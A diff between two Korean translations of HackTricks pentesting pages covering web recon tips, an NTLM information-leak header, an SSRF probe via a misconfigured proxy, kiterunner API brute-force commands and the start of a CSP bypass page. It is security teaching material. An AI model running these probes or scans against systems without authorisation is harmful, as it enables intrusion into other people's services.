* **CTF**를 진행 중이라면 페이지의 **오른쪽**에 **수백 개의 공백**을 사용하여 데이터를 브라우저로 열 때 데이터가 보이지 않도록 **숨겨진 정보**를 코멘트에 숨기는 "일반적인" 트릭이 있습니다. 다른 가능성은 **여러 개의 새 줄**을 사용하여 웹 페이지 **하단**의 코멘트에 정보를 숨기는 것입니다.
|
||||
* **API 키**: **API 키**를 발견하면 다양한 플랫폼의 API 키를 사용하는 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**, **[**zile**](https://github.com/xyele/zile.git)**, **[**truffleHog**](https://github.com/trufflesecurity/truffleHog)**, **[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**, **[**RegHex**](https://github.com/l4yton/RegHex\)/)**, **[**DumpsterDive**](https://github.com/securing/DumpsterDiver)**, **[**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* **코멘트:** 모든 파일의 코멘트를 확인하세요. **자격 증명**이나 **숨겨진 기능**을 찾을 수 있습니다.
|
||||
* **CTF**를 진행 중이라면, 페이지의 **오른쪽**에 **수백 개의 공백**을 사용하여 데이터를 숨겨서 소스 코드를 브라우저로 열어도 데이터가 보이지 않게 하는 것이 일반적인 **트릭**입니다. 다른 가능성은 **여러 개의 새 줄**을 사용하여 웹 페이지 **하단**에 코멘트에 정보를 숨기는 것입니다.
|
||||
* **API 키**: **API 키**를 발견하면 다양한 플랫폼의 API 키를 사용하는 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**, [**zile**](https://github.com/xyele/zile.git)**, [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**, [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**, [**RegHex**](https://github.com/l4yton/RegHex\)/)**, [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**, [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API 키: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik와 같은 API 키를 발견하면 프로젝트 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)를 사용하여 키가 액세스할 수 있는 API를 확인할 수 있습니다.
|
||||
* **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 어떤 **S3 버킷**과 관련이 있는지 확인하세요. 그 경우, [**버킷의 권한을 확인하세요**](buckets/).
|
||||
* **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 어떤 **S3 버킷**과 관련이 있는지 확인하세요. 그 경우, 버킷의 [**권한을 확인하세요**](buckets/).
|
||||
|
||||
### 특별한 발견
|
||||
|
||||
|
@ -304,17 +305,17 @@ _새로운 디렉토리가 브루트 포싱이나 스파이더링 중에 발견
|
|||
**흥미로운 파일**
|
||||
|
||||
* **CSS** 파일 내의 다른 파일로의 **링크**를 찾아보세요.
|
||||
* _**.git**_ 파일을 찾으면 일부 정보를 추출할 수 있습니다.
|
||||
* _**.env**_ 파일을 찾으면 API 키, 데이터베이스 비밀번호 및 기타 정보를 찾을 수 있습니다.
|
||||
* **API 엔드포인트**를 찾으면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일이 아니지만 아마도 파일처럼 보일 것입니다.
|
||||
* **JS 파일**: JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한, 발견된 각 JS 파일을 **모니터링**하는 것이 흥미로울 수 있습니다. 때로는 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
|
||||
* _**.git**_ 파일을 발견하면 일부 정보를 추출할 수 있습니다.
|
||||
* _**.env**_ 파일을 발견하면 API 키, 데이터베이스 암호 등의 정보를 찾을 수 있습니다.
|
||||
* **API 엔드포인트**를 발견하면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일이 아니지만 파일처럼 보일 수 있습니다.
|
||||
* **JS 파일**: JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한, 코드에 잠재적인 취약점이 도입되었을 수 있으므로 발견된 각 JS 파일을 **모니터링**하는 것이 흥미로울 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다**.
|
||||
* 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 취약한지 확인해야 합니다.
|
||||
* **Javascript Deobfuscator 및 Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck 해독** (문자가 있는 javascript:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* **JsFuck 해독** (문자:"\[]!+"를 사용한 javascript [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* 여러 경우에는 사용된 정규 표현식을 **이해해야 할 수 있습니다**. 이 링크가 유용할 것입니다: [https://regex101.com/](https://regex101.com)
|
||||
* 또한 **양식이 감지된 파일을 모니터링**해야 할 수 있습니다. 매개변수의 변경이나 새 양식의 나타남은 잠재적인 취약한 기능을 나타낼 수 있습니다.
|
||||
* 여러 경우에는 사용된 정규 표현식을 **이해해야 할 수도 있습니다**. 이 링크가 유용할 것입니다: [https://regex101.com/](https://regex101.com)
|
||||
* 발견된 양식이 있는 파일을 **모니터링**해야 할 수도 있습니다. 매개변수의 변경이나 새 양식의 나타남은 잠재적인 취약한 기능을 나타낼 수 있습니다.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
|
@ -324,20 +325,20 @@ _새로운 디렉토리가 브루트 포싱이나 스파이더링 중에 발견
|
|||
|
||||
**502 Proxy Error**
|
||||
|
||||
해당 **코드**로 응답하는 페이지가 있으면 아마도 **잘못 구성된 프록시**입니다. `GET https://google.com HTTP/1.1` (호스트 헤더 및 기타 일반적인 헤더와 함께)와 같은 HTTP 요청을 보내면 **프록시**가 _**google.com**_에 액세스하려고 시도할 것이며 **SSRF**를 발견할 수 있습니다.
|
||||
해당 **코드**로 응답하는 페이지가 있으면 아마도 **잘못 구성된 프록시**입니다. `GET https://google.com HTTP/1.1`와 같은 HTTP 요청을 보내면 (호스트 헤더 및 기타 일반적인 헤더와 함께), **프록시**가 _**google.com**_에 **액세스**하려고 시도할 것이며 SSRF를 발견할 수 있습니다.
|
||||
|
||||
**NTLM 인증 - 정보 노출**
|
||||
|
||||
인증을 요청하는 실행 중인 서버가 **Windows**인 경우 또는 자격 증명을 요청하고 **도메인 이름**을 요청하는 경우 **정보 노출**을 유발할 수 있습니다.\
|
||||
`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 헤더를 **전송**하면 **NTLM 인증 방식** 작동 방식에 따라 서버가 "WWW-Authenticate" 헤더 내부 정보 (IIS 버전, Windows 버전 등)로 응답합니다.\
|
||||
이를 **자동화**하려면 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용할 수 있습니다.
|
||||
인증을 요청하는 실행 중인 서버가 **Windows**인 경우 또는 자격 증명을 요청하는 로그인이 있으면 (및 **도메인** **이름**을 요청하는 경우), 정보 노출을 유발할 수 있습니다.\
|
||||
`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 헤더를 **전송**하면 **NTLM 인증**이 작동하는 방식으로 인해 서버가 "WWW-Authenticate" 헤더 내부 정보 (IIS 버전, Windows 버전 등)로 응답합니다.\
|
||||
이를 **자동화**하려면 "_http-ntlm-info.nse_" **nmap 플러그인**을 사용할 수 있습니다.
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
**리다이렉션**에 **콘텐츠를 넣을 수 있습니다**. 이 콘텐츠는 사용자에게 **표시되지 않을 것**이지만 거기에 **숨겨진 내용**이 있을 수 있습니다.
|
||||
**리다이렉션**에 **콘텐츠**를 넣을 수 있습니다. 이 콘텐츠는 사용자에게 **표시되지 않을 것**이지만 거기에 **숨겨진 내용**이 있을 수 있습니다.
|
||||
### 웹 취약점 확인
|
||||
|
||||
이제 웹 응용 프로그램의 포괄적인 열거가 수행되었으므로 가능한 많은 취약점을 확인할 차례입니다. 여기에서 체크리스트를 찾을 수 있습니다:
|
||||
이제 웹 애플리케이션의 포괄적인 열거가 수행되었으므로 가능한 많은 취약점을 확인할 차례입니다. 여기에서 체크리스트를 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
@ -355,7 +356,7 @@ _새로운 디렉토리가 브루트 포싱이나 스파이더링 중에 발견
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 작문 및 구사 능력 필요_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -431,14 +432,14 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웨이 에이치에이킹을 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 제로부터 영웅이 되는 AWS 해킹 배우기!</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,33 +2,33 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## API Pentesting 방법론 요약
|
||||
|
||||
API Pentesting은 취약점을 발견하기 위한 체계적인 접근 방식을 포함합니다. 이 가이드는 실용적인 기술과 도구를 강조한 포괄적인 방법론을 요약합니다.
|
||||
API Pentesting은 취약점을 발견하기 위한 체계적인 접근 방식을 포함합니다. 이 가이드는 실용적인 기술과 도구에 중점을 둔 포괄적인 방법론을 요약합니다.
|
||||
|
||||
### **API 유형 이해**
|
||||
|
||||
* **SOAP/XML 웹 서비스**: 일반적으로 `?wsdl` 경로에서 찾을 수 있는 문서 형식인 WSDL을 활용합니다. **SOAPUI** 및 **WSDLer** (Burp Suite 확장 프로그램)과 같은 도구는 파싱 및 요청 생성에 유용합니다. 예제 문서는 [DNE Online](http://www.dneonline.com/calculator.asmx)에서 접근할 수 있습니다.
|
||||
* **REST API (JSON)**: 문서는 주로 WADL 파일로 제공되지만 [Swagger UI](https://swagger.io/tools/swagger-ui/)와 같은 도구는 더 사용자 친화적인 인터페이스를 제공합니다. **Postman**은 예제 요청을 생성하고 관리하는 데 유용한 도구입니다.
|
||||
* **SOAP/XML 웹 서비스**: 일반적으로 `?wsdl` 경로에서 찾을 수 있는 문서화를 위해 WSDL 형식을 활용합니다. **SOAPUI** 및 **WSDLer** (Burp Suite 확장 프로그램)과 같은 도구는 파싱 및 요청 생성에 유용합니다. 예제 문서는 [DNE Online](http://www.dneonline.com/calculator.asmx)에서 접근할 수 있습니다.
|
||||
* **REST API (JSON)**: 문서는 종종 WADL 파일로 제공되지만 [Swagger UI](https://swagger.io/tools/swagger-ui/)와 같은 도구는 더 사용자 친화적인 인터페이스를 제공합니다. **Postman**은 예제 요청을 생성하고 관리하는 데 유용한 도구입니다.
|
||||
* **GraphQL**: API에 대한 데이터의 완전하고 이해하기 쉬운 설명을 제공하는 쿼리 언어입니다.
|
||||
|
||||
### **실습 랩**
|
||||
|
@ -37,41 +37,42 @@ API Pentesting은 취약점을 발견하기 위한 체계적인 접근 방식을
|
|||
|
||||
### **API Pentesting을 위한 효과적인 트릭**
|
||||
|
||||
* **SOAP/XML 취약점**: DTD 선언이 종종 제한되지만 CDATA 태그를 사용하면 XML이 유효한 상태로 유지되는 경우 페이로드 삽입이 가능할 수 있습니다.
|
||||
* **SOAP/XML 취약점**: DTD 선언이 제한되는 경우가 많지만 XXE 취약점을 탐색합니다. XML이 유효하면 CDATA 태그를 통해 페이로드 삽입이 가능할 수 있습니다.
|
||||
* **권한 상승**: 권한 수준이 다른 엔드포인트를 테스트하여 무단 액세스 가능성을 식별합니다.
|
||||
* **CORS 구성 오류**: 인증된 세션을 통해 CSRF 공격을 통해 악용 가능성을 조사하기 위해 CORS 설정을 조사합니다.
|
||||
* **CORS 구성 오류**: 인증된 세션을 통해 CSRF 공격을 통해 취약성을 악용할 수 있는지 CORS 설정을 조사합니다.
|
||||
* **엔드포인트 검색**: API 패턴을 활용하여 숨겨진 엔드포인트를 발견합니다. 퍼저와 같은 도구를 사용하여 이 프로세스를 자동화할 수 있습니다.
|
||||
* **매개변수 조작**: 요청에 매개변수를 추가하거나 교체하여 무단 데이터 또는 기능에 액세스해 보세요.
|
||||
* **HTTP 메서드 테스트**: 요청 방법을 변경하여(GET, POST, PUT, DELETE, PATCH) 예기치 않은 동작이나 정보 노출을 발견합니다.
|
||||
* **HTTP 메서드 테스트**: 요청 방법을 변경하여(GET, POST, PUT, DELETE, PATCH) 예상치 못한 동작이나 정보 노출을 발견합니다.
|
||||
* **Content-Type 조작**: 다른 콘텐츠 유형(x-www-form-urlencoded, application/xml, application/json)으로 전환하여 파싱 문제나 취약점을 테스트합니다.
|
||||
* **고급 매개변수 기술**: JSON 페이로드에서 예상치 못한 데이터 유형을 테스트하거나 XXE 삽입을 위해 XML 데이터를 조작해 보세요. 더 넓은 테스트를 위해 매개변수 오염 및 와일드카드 문자를 시도해 보세요.
|
||||
* **고급 매개변수 기술**: JSON 페이로드에서 예상치 못한 데이터 유형을 테스트하거나 XXE 삽입을 위해 XML 데이터를 조작해 보세요. 더 넓은 테스트를 위해 매개변수 오염 및 와일드카드 문자를 시도하세요.
|
||||
* **버전 테스트**: 오래된 API 버전은 공격에 민감할 수 있습니다. 항상 여러 API 버전을 확인하고 테스트하세요.
|
||||
|
||||
### **API Pentesting을 위한 도구 및 자료**
|
||||
|
||||
* **kiterunner**: API 엔드포인트를 발견하는 데 탁월합니다. 대상 API에 대해 경로 및 매개변수를 스캔하고 브루트 포스하는 데 사용하세요.
|
||||
* [**kiterunner**](https://github.com/assetnote/kiterunner): API 엔드포인트를 발견하는 데 탁월합니다. 대상 API에 대해 경로 및 매개변수를 스캔하고 브루트 포스하는 데 사용하세요.
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
||||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||
```
|
||||
* API 보안 테스트를 위한 **automatic-api-attack-tool**, **Astra**, **restler-fuzzer**와 같은 추가 도구는 공격 시뮬레이션부터 퍼징 및 취약점 스캔까지 다양한 기능을 제공합니다.
|
||||
* 추가 도구인 **automatic-api-attack-tool**, **Astra**, 및 **restler-fuzzer**는 API 보안 테스트를 위한 맞춤 기능을 제공하며, 공격 시뮬레이션부터 퍼징 및 취약점 스캔까지 다양한 기능을 제공합니다.
|
||||
* [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OAS 파일을 기반으로 API를 감사하는 API 보안 도구입니다(이 도구는 러스트로 작성되었습니다).
|
||||
|
||||
### **학습 및 연습 자료**
|
||||
|
||||
* **OWASP API Security Top 10**: 일반적인 API 취약점을 이해하기 위한 필수 독서 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
* **API Security Checklist**: API 보안을 위한 포괄적인 체크리스트 ([GitHub 링크](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
* **Logger++ Filters**: API 취약점을 찾기 위해 Logger++가 유용한 필터를 제공합니다 ([GitHub 링크](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
* **OWASP API Security Top 10**: 일반적인 API 취약점을 이해하기 위한 필수 독서 자료 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
* **API Security Checklist**: API를 보호하기 위한 포괄적인 체크리스트 ([GitHub 링크](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
* **Logger++ Filters**: API 취약점을 찾기 위해 유용한 필터를 제공하는 Logger++ ([GitHub 링크](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
* **API Endpoints List**: 테스트 목적을 위한 잠재적인 API 엔드포인트의 선별 목록 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -85,7 +86,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
# Content Security Policy (CSP) Bypass
|
||||
|
||||
## 콘텐츠 보안 정책 (CSP) 우회
|
||||
# 콘텐츠 보안 정책 (CSP) 우회
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,17 +6,17 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof Discord** 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!
|
||||
**HackenProof Discord** 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터와 소통하세요!
|
||||
|
||||
**해킹 통찰력**\
|
||||
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요
|
||||
|
@ -27,39 +25,32 @@ HackTricks를 지원하는 다른 방법:
|
|||
빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요
|
||||
|
||||
**최신 공지**\
|
||||
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 알아두세요
|
||||
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 정보를 유지하세요
|
||||
|
||||
**우리와 함께** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하여 최고의 해커들과 협업을 시작하세요!
|
||||
**[디스코드](https://discord.com/invite/N3FrSbmwdy)**에 참여하여 최고의 해커들과 협업을 시작하세요!
|
||||
|
||||
### CSP란 무엇인가
|
||||
## CSP란 무엇인가
|
||||
|
||||
콘텐츠 보안 정책 (CSP)은 주로 **크로스 사이트 스크립팅 (XSS)와 같은 공격으로부터 보호**하기 위한 브라우저 기술로 인식됩니다. 브라우저가 안전하게 로드할 수 있는 리소스의 경로와 소스를 정의하고 설명함으로써 작동합니다. 이러한 리소스에는 이미지, 프레임 및 JavaScript와 같은 요소들이 포함됩니다. 예를 들어, 정책은 동일한 도메인(self)에서 리소스의 로드 및 실행을 허용할 수 있으며, 인라인 리소스 및 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통해 문자열 코드의 실행을 허용할 수 있습니다.
|
||||
|
||||
CSP의 구현은 **응답 헤더를 통해** 또는 **HTML 페이지에 메타 요소를 포함**시켜 수행됩니다. 이 정책을 준수하면 브라우저가 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다.
|
||||
|
||||
* 응답 헤더를 통해 구현됨:
|
||||
콘텐츠 보안 정책 (CSP)은 주로 **크로스 사이트 스크립팅 (XSS)와 같은 공격으로부터 보호**하기 위한 브라우저 기술로 인식됩니다. 브라우저가 안전하게 로드할 수 있는 리소스의 경로와 소스를 정의하고 설명함으로써 작동합니다. 이러한 리소스에는 이미지, 프레임 및 JavaScript와 같은 요소들이 포함됩니다. 예를 들어, 정책은 동일한 도메인(self)에서 리소스의 로드 및 실행을 허용하거나 인라인 리소스 및 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통해 문자열 코드의 실행을 허용할 수 있습니다.
|
||||
|
||||
CSP의 구현은 **응답 헤더를 통해** 또는 **HTML 페이지에 메타 요소를 포함시킴으로써** 수행됩니다. 이 정책을 준수하면 브라우저가 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다.
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
|
||||
* 메타 태그를 통해 구현됨:
|
||||
|
||||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
|
||||
#### 헤더
|
||||
### 헤더
|
||||
|
||||
CSP는 다음 헤더를 사용하여 강제하거나 모니터링할 수 있습니다:
|
||||
|
||||
* `Content-Security-Policy`: CSP를 강제합니다. 브라우저는 위반 사항을 차단합니다.
|
||||
* `Content-Security-Policy-Report-Only`: 모니터링에 사용됩니다. 위반 사항을 차단하지 않고 보고합니다. 프리 프로덕션 환경에서 테스트하는 데 이상적입니다.
|
||||
|
||||
#### 리소스 정의
|
||||
### 리소스 정의
|
